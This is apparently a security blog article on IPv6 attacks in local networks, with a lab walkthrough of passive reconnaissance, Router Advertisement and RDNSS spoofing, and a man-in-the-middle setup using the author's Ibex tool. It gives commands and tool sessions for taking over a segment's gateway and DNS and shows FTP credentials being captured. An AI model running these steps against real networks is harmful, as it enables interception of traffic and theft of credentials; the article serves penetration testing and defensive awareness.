Legless: IPv6 Security
IPv6 often remains active in corporate networks. In this article, I will discuss attacks on IPv6 and detection methods.
Caster - Legless (Rework)
Genre: Offensive, Defensive
Label: caster0x00.com
Release Date: 1 September 2025
Language: English
Length: 10593 Words
Reading Time: 42 Minutes
Reworked by: Magama Bazarov, Caster
Cover Man: Magama Bazarov (Sony ILCE-7M3, f/5.6, 1/3 sec)
Intro
IPv6 is still far from being implemented everywhere, but most modern operating systems have IPv6 enabled by default. In corporate networks, this often leads to hidden vulnerabilities: even if only IPv4 is used, Windows systems prefer IPv6 by default and periodically request IPv6 settings.
Attackers can exploit the trust-based nature of IPv6 protocols to launch attacks within a local network. Spoofing attacks are particularly dangerous, where an attacker impersonates a legitimate network node or inserts fake packets for the purpose of MITM or DNS spoofing within a local network.
Disclaimer
This article is of an introductory nature and is intended solely for information security specialists conducting testing within the framework of concluded contracts. The author and the editorial staff are not liable for any damage caused by the use of the information presented.
The distribution of malware, disruption of systems and confidentiality of correspondence is a violation of the law and may result in criminal liability.
Introduction to IPv6
IPv6 was developed as a replacement for IPv4 due to limited address space and the increase in the number and size of networks.
Its architecture solves the problem of address exhaustion and introduces new mechanisms that simplify routing and address configuration on devices.
Address Types
IPv6 uses several types of addresses, each with its own purpose:
Address Type | Prefix / Example | Scope / Usage | Notes | RFC |
---|---|---|---|---|
Global Unicast | 2000::/3 |
Globally routable | Similar to IPv4 public addresses | 4291 |
Link-Local | fe80::/10 |
Mandatory on every interface, L2 segment | Used for NDP, RA, next-hop | 4291 |
Unique Local | fc00::/7 |
Local routing within the organization | Similar to IPv4 private (RFC 1918) | 4193 |
Multicast | ff00::/8 |
Delivery to a group of members | Replaces broadcast | 4291 |
All-Nodes (Multicast) | ff02::1 |
All nodes in the L2 segment | Auto-subscription when IPv6 is enabled | 4291 |
All-Routers (Multicast) | ff02::2 |
All routers in the L2 segment | Used for RS/RA | 4291 |
Anycast | N/A | The address is assigned to several nodes, traffic goes to the nearest one | Used in DNS, CDN, services | 4291 |
Key Differences from IPv4
- No broadcast; multicast is used;
- Mandatory presence of a link-local address on each interface;
- Built-in auto-configuration mechanisms (SLAAC, DHCPv6);
- Advanced routing and control capabilities (extension headers, flow labels).
Autoconfiguration & Address Lifetimes
- SLAAC (Stateless Address Autoconfiguration) - the device builds the address itself based on RA and the prefix;
- Privacy Extensions (RFC 4941) - temporary addresses that change frequently;
- Stable SLAAC (RFC 7217) - permanent, but not tied to MAC;
- DHCPv6 - can supplement or replace SLAAC;
- Valid/Preferred lifetimes - address lifetime, which is important for attacks (parameters can be replaced).
Neighbor Discovery Protocol (NDP)
A complete analogue of ARP in IPv4, but extended:
- RS / RA (Router Solicitation / Advertisement) - search for routers and network parameters;
- NS / NA (Neighbor Solicitation / Advertisement) - MAC resolution via IPv6 + duplicate address detection (DAD);
- Redirect - route hints (often ignored or blocked);
- Solicited-node multicast (
ff02::1:ffXX:XXXX
) - a mechanism for searching for a specific address - a key artifact for collecting information about devices.
Link Local Addressing
Each network device with IPv6 enabled automatically receives a link-local address from the fe80::/10
range.
This address is formed independently of the presence of DHCPv6 or a global prefix and is mandatory for the operation of all key lower-level protocols: SLAAC (Stateless Address Autoconfiguration), NDP, RA, RS, and others.
Link-local addresses are only valid within a single L2 segment and are not routed beyond it. However, within the segment, they are the primary identifiers for nodes in IPv6 service traffic.
In all ICMPv6 packets, including RA and NA, the sender must use only its link-local address as the source address. This means that:
- DHCPv6 servers, routers, clients, and attacking devices exchange messages using
fe80::/10
; - Any machine receiving RA or NA will record the link-local address as the source of the route, gateway, or DNS server;
- An attacker who knows their fe80:: can spoof the RA, substitute themselves as the gateway or DNS without knowing the global prefix.
In addition, SLAAC uses RA packets from the router, which specify the global IPv6 address prefix. A client that receives this RA from a source with a link-local address will consider this source to be a router if the packet passes the basic parameter check.
Thus, the link-local address in IPv6 is a mandatory L2 identifier, knowledge of which is necessary for most spoofing attacks within a local network. Obtaining and forging it does not require administrator rights on the target machine.
Multicast
In IPv4 networks, broadcast traffic was used to detect hosts within a segment. For example, ARP requests, NetBIOS-NS, and others. In the case of IPv6, broadcast was abolished and replaced by multicast groups. That is, instead of sending network packets to all hosts in a row, hosts now listen to specific groups, depending on their role and context.
ff02::1
- “All-nodes multicast address”, an address for all nodes in the local segment. In fact, any device with IPv6 enabled is automatically subscribed to this group. If IPv6 is active on a computer, it must accept this address. The following are sent using ff02::1
- ICMPv6 Echo Request
- Router Advertisement (ICMPv6,
type=134
)
ff02::2
- “All-Routers Multicast Address”, the address for all routers in the local segment. Used for specific requests such as Router Solicitation. Devices that perform IPv6 router functions are required to accept packets sent to this address. The use of the ff02::2
address by routers is mandatory for the correct operation of ICMPv6 Router Solicitation (type 133
), which is sent by end stations during SLAAC (Stateless Address Autoconfiguration) or when obtaining information about network routes.
Addresses ff02::/16
are reserved for link-local multicast. Remember that they are never routed outside the L2 segment. Also, the use of these addresses as Multicast is regulated in RFC 4291, Section: 2.7.1
The multicast delivery mechanism is a fundamental feature on which the operation of autoconfiguration, neighbor discovery, and routing protocols depends. In IPv6 networks, every device with an active IPv6 stack automatically processes certain multicast addresses at the L2 layer. This is required for the operation of basic IPv6 protocols such as NDP, SLAAC, and ICMPv6.
For example:
- All nodes process packets addressed to
ff02::1
(all end hosts); - Devices acting as routers process packets on
ff02::2
(all routers).
This mechanism allows an attacker to interact with all hosts or routers on the local network at once, even without knowing their addresses. This is used in:
- Gathering information about the network;
- Attacks related to false RA (Router Advertisement)
- RDNSS Spoofing
Multicast group control is a key element of IPv6 security, as all key protocols use them.
Network Diagram
A small laboratory network will be used to demonstrate the attacks. It is small, but I think it is sufficient for the practical part of this article.

There are no prefix or DHCPv6 settings here. Except for the configured address 4000::1/64
on the MikroTik router.
Host | Interface | IPv6 Address |
---|---|---|
R1 (RouterOS) | bridge |
link-local: fe80::4aa9:8aff:fe9c:f7ff |
R1 (RouterOS) | lo0 |
4000::1 |
Attacker (Kali Linux) | eth0 |
link-local: fe80::20c:29ff:fe3b:ac5f |
F30 (Windows 10 LTSC) | Ethernet0 |
link-local: fe80::f884:cdda:898c:340 |
F31 (Windows 10 LTSC) | Ethernet0 |
link-local: fe80::39fd:51b:a8b9:db12 |
F32 (Windows 10 LTSC) | Ethernet0 |
link-local: fe80::c54a:eb8e:3497:567 |
Ibex: A tool for pentesting on IPv6
I recently released a tool for attacking IPv6 called “Ibex”
This tool has an interactive shell for performing MITM attacks on IPv6 networks. You can find out more about this tool in this repository.

In this article, most of the attacks will be demonstrated using Ibex, so I decided to devote a separate chapter to this tool.
IPv6 Traffic Analysis
This is actually an extremely useful technique for gathering information about IPv6 networks. Of course, we can use Multicast Ping on ff02::1
and ff02::2
to detect hosts and routers, but this technique is quite noisy and very easy to detect. And hosts may not always respond with a Reply packet, as it can be easily filtered by FW or even HIPS/HBF.
A much more interesting method is passive host detection, which is done by analyzing traffic on the air. That is, only by analyzing the air can you gather information about the segment. We can listen only to key protocols within NDP, SLAAC, DHCPv6, and MLD to identify active hosts and understand how the network is structured.
When passively collecting information in an IPv6 segment, it is worth focusing on intercepting specific types of packets, because they are the most valuable for understanding the network structure and the presence of active hosts. Most basic protocols, from autoconfiguration to address resolution, communicate via multicast, which means that the entire process can be observed simply by listening to the traffic in the segment.
Protocol / Packet Type | Direction | Impact |
---|---|---|
ICMPv6 RS (Router Solicitation) | The host queries the routers in the segment | Identification of new devices requesting configuration |
ICMPv6 RA (Router Advertisement) | The router sends out information about prefixes and flags | Obtaining data on prefixes, RDNSS, routes, M/O flags |
ICMPv6 NS (Neighbor Solicitation) | Neighbor MAC address request or DAD check | Detection of active hosts and their link-local addresses |
ICMPv6 NA (Neighbor Advertisement) | The response to NS indicates the MAC address | Association of IPv6 addresses with MAC, presence confirmation |
ICMPv6 DAD (Duplicate Address Detection) | Sending NS from :: , checking the uniqueness of an IPv6 address |
Identification of new IPv6 addresses during the auto-configuration phase |
DHCPv6 (Solicit, Advertise, ...) | Request/distribution of parameters from DHCP servers | Detect DHCPv6 servers, track client activity and received settings |
MLD (Multicast Listener Discovery) | Announcement about subscriptions to multicast groups | Passivation of devices, even if they do not initiate explicit traffic |
Unlike IPv4, where aggressive ARP scanning was the norm, active scanning of /64 networks in IPv6 is simply pointless as it takes a long time. Therefore, only monitoring ICMPv6, DHCPv6, and MLD gives us a positive impact. For example:
- RA (Router Advertisement) analysis reveals active routers and prefix configurations;
- Neighbor Solicitation/Advertisement allows us to link MAC and IPv6 addresses on the local network, even if the devices do not interact externally;
- DAD packets are often sent first when a device is turned on, giving us an early detection point;
- Through DHCPv6, we can see who is requesting configurations and who is responding;
- MLD can highlight “sleeping” devices that do not send anything to the network but are subscribed to certain groups.
Information Gathering
You can automate traffic analysis with the Ibex tool. It processes the types of NDP messages mentioned in the table above. I'll show you what you can figure out based on traffic analysis.
Overall, traffic analysis is a really popular technique, but I think it's often underrated.
First, you will need to install this tool and its dependencies.
caster@kali:~$ git clone https://github.com/caster0x00/Ibex
caster@kali:~/Ibex$ sudo python3 setup.py install
caster@kali:~$ sudo ibex
ibex> deps
[*] Checking dependencies...
[✓] tayga
[✓] bind9
[✓] iproute2
[✓] iptables
[✓] net-tools
[✓] python3-colorama
[✓] python3-netifaces
[✓] python3-psutil
[✓] python3-scapy
[*] Dependency check complete.
ibex>
Now you need to select the sniffing
module and specify the interface. You can also specify a timer if you wish, i.e., how long you want to listen to traffic.
caster@kali:~$ sudo ibex
_____ _
|_ _| |
| | | |__ _____ __
| | | '_ \ / _ \ \/ /
_| |_| |_) | __/> <
|_____|_.__/ \___/_/\_\
Ibex: Pwning IPv6 Networks
Author: Magama Bazarov, <magamabazarov@mailbox.org>
Alias: Caster
Version: 1.0
Documentation & Usage: https://github.com/caster0x00/Ibex
❝The snake which cannot cast its skin has to die❞
— Friedrich Nietzsche, 1883
ibex> sniffing
ibex sniffing> set interface eth0
ibex sniffing> start
[*] Sniffing on eth0 for ∞ seconds...

Okay, the sniffer detected some packets.
The first thing that catches the eye is the numerous MLD messages:
MLD from fe80::f174:8616:627b:f073 (MAC b0:dc:cf:e9:2e:71)
MLD from fe80::1f4a:d176:7a81:ab86 (MAC ba:94:8c:3e:2f:4c)
MLD from fe80::183c:e6c2:c2f0:9d7e (MAC 20:98:ed:cb:7f:71)
MLD is used to subscribe to IPv6 multicast groups. When the interface is activated, each host must join ff02::1 (all-nodes) and its solicited-node groups (ff02::1:ffXX:XXXX
)
fe80::f174:8616:627b:f073 ↔ b0:dc:cf:e9:2e:71
fe80::1f4a:d176:7a81:ab86 ↔ ba:94:8c:3e:2f:4c
fe80::183c:e6c2:c2f0:9d7e ↔ 20:98:ed:cb:7f:71
That's at least three unique devices in one L2 domain. Even if global addresses are hidden, there are already unique MAC and link-local addresses sufficient for further attacks.
Next, we also see NS packets:
NS: who has ff02::1:ff0:9d7e asked by :: (MAC 20:98:ed:cb:7f:71)
The source is specified as ::
This is a clear sign of Duplicate Address Detection (DAD). The host checks whether the address fe80::183c:e6c2:c2f0:9d7e
is free by sending a request to the multicast group ff02::1:ff0:9d7e
For the attacker, it is important:
- The host has just activated the IPv6 interface;
- We know its MAC address and part of its IPv6 address (the last 24 bits from the solicited node). This means that recovering the full address is a matter of technique: you can actively send NS queries to get NA responses and reveal hidden addresses.
The next thing to look at is the RS packets:
RS from fe80::183c:e6c2:c2f0:9d7e (MAC 20:98:ed:cb:7f:71) → looking for router
RS from fe80::183c:e6c2:c2f0:9d7e (MAC 20:98:ed:cb:7f:71) → looking for router
One of the hosts is actively searching for RA (Router Advertisement), but there are no responses in the traffic. This means that:
- There is no available IPv6 router in the segment, or RA is being filtered;
- The host is left with only a link-local address, without a global IPv6 address
From an attacker's perspective, this opens up a whole range of possibilities:
- If RA Guard is disabled, simply spoof a fake RA and you become the default router for the entire segment.
- If RA Guard is enabled, the mere fact that RA is absent already indicates that the network is protected. But this useful information also means that network administrators are thinking about security, and it is worth looking for other vectors (DHCPv6 Spoofing, for example).
Several things can be seen from simply passively listening to traffic.
First, the number of devices in the segment and their MAC addresses are visible. Second, the appearance of a new node that is undergoing the DAD procedure is recorded. Third, the current routing status becomes clear: SLAAC is unavailable because there are no Router Advertisements in the traffic.
Finally, there is a potential risk if RA Guard is not configured on the network; an attacker could spoof RA and gain complete control over routing.
Unlike IPv4, where active scanning was the primary method, only passive monitoring of ICMPv6 and DHCPv6 remains effective in IPv6.
Kernel Network Settings
To successfully perform RA spoofing, RDNSS injection, or DHCPv6 spoofing attacks, you need to change the kernel parameters and network settings in advance. This is necessary to avoid conflicts with the default system behavior and to ensure correct processing of a large number of connections. In Ibex, this process is automated in the tuning
module.
Main actions:
- Enabling promiscuous mode:
ip link set dev <iface> promisc on
In normal mode, the card only accepts frames addressed to it (via MAC), broadcast and multicast. In promisc mode, the interface will pass all packets that reach the network card even if they are not intended for your MAC.
This ensures that NDP, RA, and DHCPv6 packets are captured.
- Disabling Router Advertisement and ICMPv6 Redirect reception:
sysctl -w net.ipv6.conf.all.accept_ra=0
sysctl -w net.ipv6.conf.all.accept_redirects=0
ip6tables -A INPUT -p ipv6-icmp --icmpv6-type redirect -j DROP
ip6tables -A OUTPUT -p ipv6-icmp --icmpv6-type redirect -j DROP
Prevent automatic processing of RA and ICMP Redirect. This prevents conflicts with fake RAs and eliminates the sending of unnecessary packets that could be detected by monitoring tools.
- Enabling IPv4 and IPv6 forwarding and configuring NAT:
sysctl -w net.ipv4.ip_forward=1
sysctl -w net.ipv6.conf.all.forwarding=1
ip6tables -A FORWARD -i <iface> -j ACCEPT
ip6tables -t nat -A POSTROUTING -o <iface> -j MASQUERADE
Enables packet forwarding between interfaces. Configures masquerading for the attacking node to function correctly as a router.
We will discuss the need for masquerading later when we perform a MITM attack.
- Optimization of TCP parameters and kernel queues:
sysctl -w fs.file-max=100000
sysctl -w net.core.somaxconn=65535
sysctl -w net.core.netdev_max_backlog=65536
sysctl -w net.ipv4.tcp_fin_timeout=15
sysctl -w net.ipv4.tcp_tw_reuse=1
sysctl -w net.ipv4.tcp_max_tw_buckets=65536
sysctl -w net.ipv4.tcp_window_scaling=1
fs.file-max
- increases the maximum number of open file descriptors;net.core.somaxconn
- increases the length of the queue of pending TCP connections;net.core.netdev_max_backlog
- increases the queue of unprocessed packets;net.ipv4.tcp_fin_timeout
- reduces the time a socket remains in the FIN state;net.ipv4.tcp_tw_reuse
and net.ipv4.tcp_max_tw_buckets
optimize the processing of sockets in the TIME-WAIT
state;net.ipv4.tcp_window_scaling
- enables TCP window scaling, which increases throughput for MITM on HTTPS and SMB.
The changes prevent the kernel from automatically interfering with IPv6 protocols, stop unnecessary packets from being generated, enable forwarding and masquerading for the router role, and optimize the network stack for operation under load. This ensures that attack techniques are executed correctly and that the system remains stable when there are a large number of connections.
In MITM, it is not only important to understand the attack mechanism, but also to properly prepare your host for the attack to avoid DoS and network performance issues. It is important to assess the risks sensibly and make the right decision, because MITM is a very risky network attack.
Spoofing a router and DNS using RA Spoofing
An RA Spoofing attack involves an attacker sending fake Router Advertisement packets to the local segment, pretending to be a router. This allows them to introduce a false IPv6 prefix and impose themselves as the default gateway for all hosts. Even if the network appears to use only IPv4, almost all modern operating systems.
Theory
The most important parameter to consider when dealing with RA Spoofing is routerlifetime
. This parameter tells the host how many seconds to consider the RA sender a valid router.
If you specify routerlifetime=0
, the host will delete the route through this node. If you specify, say, routerlifetime=1800
, it will accept the attacker as the default gateway for the next 30 minutes.
The higher the lifetime, the longer you remain in the victim's routing table. Does a pentester need this? I don't think so. The risk of DoS with MITM is already high, so the attacker needs to be careful.
Flags
ICMPv6 RA packets contain two control flags:
- M (Managed Address Configuration): If set, the host must use DHCPv6 to obtain an IPv6 address;
- O (Other configuration): If set, the host must use DHCPv6 only to obtain parameters not related to the address (e.g., DNS).
The flag combination determines the client's behavior:
M Flag | O Flag | Behavior |
---|---|---|
0 | 0 | SLAAC (only RA) |
0 | 1 | SLAAC + DHCPv6 (only options like DNS) |
1 | 0 | DHCPv6 |
1 | 1 | DHCPv6 + possibly SLAAC |
This is critical for assessing the attack surface:
When M=0, O=0
→ DHCPv6 packets are not required, and an attack is only possible via RA or RDNSS;
When M=1, O=1
→ the network is vulnerable to DHCPv6 spoofing (e.g., via mitm6).
Analyzing the flag values in RA is key to choosing an attack vector.
Performing Spoofing
RA packet spoofing can be performed using Ibex.
The spoofing
module combines router spoofing via RA, RDNSS Spoofing, and the use of NAT64 and DNS64 to relay requests and maintain correct network interaction between clients.
Stage I: System preparation
Before starting, you need to configure the kernel and network settings. In Ibex, this is automated by the tuning
module:
ibex> tuning
[*] Auto-detected interface: eth0
ibex tuning> start
[*] Applying tuning to eth0...
[+] Enable promiscuous mode
[+] Disable RA
[+] Disable ICMPv6 Redirects
[+] Drop ICMPv6 Redirect IN
[+] Drop ICMPv6 Redirect OUT
[+] Raise open files limit
[+] Increase backlog
[+] Increase packet queue
[+] Reduce TCP FIN timeout
[+] Enable TCP TIME-WAIT reuse
[+] Raise TIME-WAIT buckets
[+] Enable window scaling
[+] Enable IPv4 forwarding
[+] Enable IPv6 forwarding
[+] Allow FORWARD ip6tables
[+] Enable NAT MASQUERADE
[*] Tuning applied
Stage II: NAT64 Setup
NAT64 is enabled so that clients assigned synthesized AAAA records can interact with IPv4 resources. In Ibex, this is implemented through tayga:
ibex> nat64
[*] Interface auto-detected: eth0
ibex nat64> start
[*] Launching test ping via NAT64...
[*] NAT64 working
ibex nat64> exit
The nat64
interface will provide translation between IPv6 clients and IPv4 services.
4: nat64: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 500
link/none
inet 192.168.255.1/32 scope global nat64
valid_lft forever preferred_lft forever
inet6 2001:db8:1::3/128 scope global
valid_lft forever preferred_lft forever
inet6 fe80::d00e:1be1:bc4f:9a2b/64 scope link stable-privacy proto kernel_ll
valid_lft forever preferred_lft forever
Stage III: DNS64
The next step will be to launch DNS64 based on BIND9. The service accepts all DNS requests from clients and performs relaying. If there is no AAAA record for the name, DNS64 synthesizes it based on the A record and the assigned prefix.
ibex> dns64
ibex dns64> show
[*] Current DNS64 Configuration:
prefix: 2001:db8:1:FFFF::/96
forwarder: None
log file: /var/log/ibex/captured_hosts_20250827_224518.log
ibex dns64> set forwarder 8.8.8.8
[*] forwarder set to 8.8.8.8
ibex dns64> start
[*] BIND9 config written to /var/lib/ibex/dns64/named.conf
[*] nameserver ::1 added to /etc/resolv.conf
[*] Starting BIND9 with DNS64 support...
[+] named started with PID 13643
The examples use the RFC 3849 documentation range2001:db8::/32
By default, Ibex raises a DNS64-/NAT64-link on the internal prefix2001:db8:1:FFFF::/96
(DNS64) and service addresses2001:db8:1::2
2001:db8:1::3
(NAT64).
In practice, the prefixes and addresses must be different.
DNS spoofing is implemented here exactly through redirecting clients to a controlled resolver and then retransmitting the responses.
However:
If you specify an external public resolver (e.g., 8.8.8.8
) as a forwarder in DNS64, public names will be resolved correctly. However, internal corporate resources registered only in the internal DNS zone will become unavailable. This manifests itself in denied access to domain services and internal applications. In the context of the test, this behavior is useful for demonstrating that clients unconditionally trust RDNSS and that disabling internal DNS can disrupt the entire corporate network.
To keep corporate services functional when using DNS64, it is recommended to specify the company's internal DNS server as a forwarder.
Otherwise, internal zones will not be resolved and some applications will become unavailable.
In some cases it is reasonable to use the split forwarding scheme when requests to corporate domains are sent to internal servers and the rest are sent to public resolvers.
I think I will implement this in the next update of the tool. For the time being, I am focusing on demonstrating the attack in this article.
Stage IV: The Start of Spoofing
Now we need to spoof RA packets, for this we need the spoofing
module:
ibex> spoofing
[✓] NAT64 (tayga) is running.
[✓] DNS64 (named) is running.
Need to select the mitm
mode, in this mode the default gateway spoofing and DNS server:
ibex spoofing> mode mitm
[*] Mode set to mitm
[*] Applied:
- lifetime: 300
- dns_lifetime: 300
- prefix: 2001:db8:1::
- interval: 2
[!] You are now the default gateway.
[!] All IPv6 traffic will flow through you.
[!] You are also the DNS server for all clients.
Specify the interface. Auto-fill allows you to pull up the MAC and link-local address:
ibex spoofing mitm> set interface eth0
[*] Autofilled MAC: 00:0c:29:3b:ac:5f
[*] Autofilled LLIP: fe80::20c:29ff:fe3b:ac5f
Checking current settings:
ibex spoofing mitm> show
[*] Current config (mitm):
interface: eth0
mac: 00:0c:29:3b:ac:5f
llip: fe80::20c:29ff:fe3b:ac5f
prefix: 2001:db8:1::
dns: []
lifetime: 300
dns_lifetime: 300
interval: 2
packet_count: 0
Specify the DNS server address (in this case, it is the attacker's link-local address):
ibex spoofing mitm> set dns fe80::20c:29ff:fe3b:ac5f
IMPORTANT: Set lifetimes manually
You must define the lifetimes explicitly before starting the attack especially in MITM attacks. This is crucial for staying stealthy and minimizing impact on the network.
Spoofing forever is dangerous.
After specifying these parameters, you need to start sending RA packets:
ibex spoofing mitm> start

After that, RA spoofing begins with the following parameters:
- Router Lifetime =
300
seconds - DNS Lifetime =
300
seconds - Prefix =
2001:db8:1::/64
- RDNSS =
fe80::20c:29ff:fe3b:ac5f
On the client side:
- A new default gateway appears in the routing table at the address
fe80::20c:29ff:fe3b:ac5f
; - The specified RDNSS appears in the list of DNS servers;
- DNS queries are sent to the local DNS64 service;
- When accessing IPv4 sites, synthesized AAAA records are issued in the
2001:db8:1:FFFF::/96
prefix; - Traffic passes through NAT64 and is returned to clients.

fe80::20c:29ff:fe3b:ac5f
)
ff02::1
It is also worth noting the Default Router Preference: High
This indicates the priority of this router among all available routers. It is part of the RA packet flags and determines how much the client will trust this particular gateway if there are several in the network.
Possible values:
00
Low (low priority);01
Medium (default);10
High (high priority).
For the attacker, setting the Prf = High
flag makes their computer a preferred gateway over legitimate devices on the network, allowing them to:
- More reliably intercept traffic (even if the real router is active);
- More reliably maintain the default gateway status.
When a client has several RAs from different routers on the local network, it compares their priorities.
If it sees an RA with High
and the current gateway was Medium
or Low
, the client will switch to the new gateway even if the previous route's lifetime has not expired.
This is the mechanism for selecting the “best router”.
Routing Issues & Asymmetric Routing
This chapter explains how masquerading is configured in Ibex and why it is necessary for an attacker in a MITM attack.
One of the common mistakes when performing RA spoofing is ignoring the issue of routing on the attacker's side. Even if the host has accepted our RA and considers us the default gateway, this does not mean that all traffic will automatically end up with us. Of course, it will come first. But then you need to be able to process it correctly and send it back. Otherwise, there could be big problems.
By default, routing is disabled in Linux distributions. It must be enabled explicitly using the following command, but you need root
privileges to do so:
sysctl -w net.ipv6.conf.all.forwarding=1
Now we need to configure the firewall. If it blocks everything by default (which is often the case), we need to enable forwarding:
ip6tables -A FORWARD -i eth0 -j ACCEPT
When implementing RA Spoofing, one of the key tasks is to ensure correct routing of IPv6 traffic. Even if the victim has accepted the RA packet and set the attacking machine as the default gateway, this does not guarantee the connection will work. Without the correct forwarding and translation settings for outgoing traffic, the following situation will arise:
- Incoming traffic from the victim arrives at the attacking system;
- But when attempting to forward this traffic further (for example, to the Internet), responses from remote hosts cannot return to the victim or are routed asymmetrically;
- As a result, the connection is broken: the client sends SYN, receives SYN/ACK (via a different path), does not recognize it, and drops it.
This is a typical example of asymmetric routing, in which return traffic bypasses the attacking system or arrives with an incorrect source IP, which disrupts the TCP session or causes problems at L7.

This command enables masquerading, which replaces the outgoing IPv6 address with the address of the attacking host. This is necessary when:
ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
Enables masquerading - replacing the outgoing IPv6 address with the address of the attacking host. This is necessary when:
- The attacker is not on the same subnet as the victim;
- Traffic is forwarded to another network segment or to the Internet;
- It is impossible or undesirable to announce routes back to the victim's addresses.
Masquerading solves the problem of traffic return: a remote host (for example, an external server) will see the attacker's IP address as the source and send response packets back to it. The attacking machine will then independently send these responses to the victim, completing the chain.
Without this rule, return packets will either not come back or will be sent directly bypassing the attacker (if there is an alternative in the routing table), rendering the attack ineffective.
ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
Impact
Now let's see how the packets are doing after spoofing and try to intercept the FTP credentials. This will be enough to clearly demonstrate the result of the attack.
Ping:
C:\Users\caster>ping test.rebex.net
Pinging test.rebex.net [2001:db8:1:ffff::c26c:7510] with 32 bytes of data:
Reply from 2001:db8:1:ffff::c26c:7510: time=124ms
Reply from 2001:db8:1:ffff::c26c:7510: time=102ms
Reply from 2001:db8:1:ffff::c26c:7510: time=102ms
Reply from 2001:db8:1:ffff::c26c:7510: time=101ms
Ping statistics for 2001:db8:1:ffff::c26c:7510:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 101ms, Maximum = 124ms, Average = 107ms

When you ping test.rebex.net, Windows displays the address 2001:db8:1:ffff::c26c:7510
because it is not the server's real IPv6 address, but a synthesized DNS64 address. The domain test.rebex.net
only has an A record 194.108.117.16
and no AAAA
record. DNS64 takes this IPv4, adds it to the end of the allocated prefix 2001:db8:1:ffff::/96
, and returns it to the client as if it were IPv6. The last 32 bits (c26c:7510
) are simply the hexadecimal representation of 194.108.117.16
.
The client sends packets to this synthetic IPv6 address, the NAT64 gateway receives them, cuts off the IPv4 address from the end, and forwards them to the real 194.108.117.16
. The return responses go in the opposite direction and are returned to the client with the same dummy IPv6. That is why you see 2001:db8:1:ffff::c26c:7510
in the ping output.
Let's try traceroute:
C:\Users\caster>tracert test.rebex.net
Tracing route to test.rebex.net [2001:db8:1:ffff::c26c:7510]
over a maximum of 30 hops:
1 <1 ms <1 ms <1 ms 2001:db8:1::2
2001:db8:1::2
- is the service IPv6 address of the NAT64 gateway, which Ibex (via tayga) raises automatically:
- When you start the nat64 module, a virtual nat64 interface is created in the Tayga configuration;
- Several addresses are assigned to it: IPv4 address (
192.168.255.1
by default, dynamic pool192.168.255.0/24
) and IPv6 address from the prefix2001:db8:1::/96
; - The address
2001:db8:1::2
is used as the IPv6 endpoint of the gateway through which segment clients send traffic to synthesized DNS64 addresses.
That's why Windows shows 2001:db8:1::2
as the first hop in tracert
.
Now I will try to connect via FTP to test.rebex.net
:
C:\Users\caster>ftp test.rebex.net
Connected to test.rebex.net.
220-Welcome to test.rebex.net!
See https://test.rebex.net/ for more information and terms of use.
220 If you don't have an account, log in as 'anonymous' or 'ftp'.
200 Enabled UTF-8 encoding.
User (test.rebex.net:(none)): demo
331 Anonymous login OK, send your complete email address as your password.
Password:
230 User 'demo' logged in.
ftp>
Here you go!

demo
:password
test.rebex.net
is a public FTP server and allows you to use it for various tests. Taken from here
This is about how a MITM attack happens in the IPv6 segment.
RDNSS Spoofing
The RDNSS (Recursive DNS Server option) - this is mechanism is part of the IPv6 Router Advertisement (RA) protocol, described in RFC 8106.
It allows a router to transmit DNS server addresses directly to clients in RA packets, without the need to use DHCPv6.
This mechanism is used in operating systems that support Stateless DNS Configuration and allows the client to automatically configure DNS when receiving RA.
Attack Point
The essence of RDNSS spoofing is as follows:
- The attacker sends RA packets containing a fake DNS server;
- Clients that support RDNSS accept this address and begin sending DNS queries through the attacker;
- This allows you to intercept, replace, or redirect DNS queries, gaining complete control over domain resolutions on the network.
Dependencies on Windows versions
RDNSS support depends on the implementation of the client stack:
- Windows 10 1709+, Windows 11, Linux with systemd-resolved, macOS Big Sur+ accept RDNSS by default;
- Older versions of Windows (7, 8, early 10) ignore RDNSS and use DHCPv6 or manual DNS configuration.
Effectiveness
RDNSS Spoofing is particularly effective in networks where: DHCPv6 is not used or disabled, RA packets are accepted without verification, and DNS queries are not encrypted (no DoH/DoT).
All an attacker needs to do is launch an RA spoof with the RDNSS option enabled, and most modern devices will automatically use the fake DNS.
Attack
RDNSS spoofing is possible via Ibex. You need to select the dnsinject
module, which performs DNS spoofing using RA (ICMPv6NDOptRDNSS
)
ibex> spoofing
[✓] NAT64 (tayga) is running.
[✓] DNS64 (named) is running.
ibex spoofing> mode
dnsinject list mitm off routeronly
ibex spoofing> mode dnsinject
[*] Mode set to dnsinject
[*] Applied:
- lifetime: 0
- dns_lifetime: 300
- prefix: 2001:db8:1::
- interval: 2
[!] You are injecting DNS via RDNSS, but not routing traffic.
[!] Clients will trust your DNS but route via real gateway.
ibex spoofing dnsinject>
And here there is an important difference from when we spoofed the gateway. routerlifetime=0
indicates that we will not spoof the default gateway, while dns_lifetime=300
indicates that we will spoof the DNS. If this parameter were zero, we would not spoof the DNS at all:
ibex spoofing dnsinject> show
[*] Current config (dnsinject):
interface: None
mac: None
llip: None
prefix: 2001:db8:1::
dns: []
lifetime: 0
dns_lifetime: 300
interval: 2
packet_count: 0
Specify the parameters we need and you can start sending RA packets with the RDNSS parameter. Also, be careful with dns_lifetime
here.
ibex spoofing dnsinject> set interface eth0
[*] Autofilled MAC: 00:0c:29:3b:ac:5f
[*] Autofilled LLIP: fe80::20c:29ff:fe3b:ac5f
ibex spoofing dnsinject> set dns fe80::20c:29ff:fe3b:ac5f
ibex spoofing dnsinject> show
[*] Current config (dnsinject):
interface: eth0
mac: 00:0c:29:3b:ac:5f
llip: fe80::20c:29ff:fe3b:ac5f
prefix: 2001:db8:1::
dns: ['fe80::20c:29ff:fe3b:ac5f']
lifetime: 0
dns_lifetime: 300
interval: 2
packet_count: 0
ibex spoofing dnsinject> start


25
)In the screenshot, we can see that we sent a specific ICMPv6 RA packet with the RDNSS option so that the attacker could impose their computer as the IPv6 DNS server address. This is evidenced by the headers highlighted in the screenshot. Their lifetime is equal to the values we specified when launching the attack tool.
Now we can verify that RDNSS spoofing occurred on the Windows machine and that the attacker's link-local IPv6 address appeared on the host as the IPv6 DNS server address:

Before:
C:\Windows\system32>netsh interface ipv6 show dnsservers
Configuration for interface "Ethernet0"
DNS servers configured through DHCP: None
Register with which suffix: Primary only
Configuration for interface "Loopback Pseudo-Interface 1"
Statically Configured DNS Servers: fec0:0:0:ffff::1%1
fec0:0:0:ffff::2%1
fec0:0:0:ffff::3%1
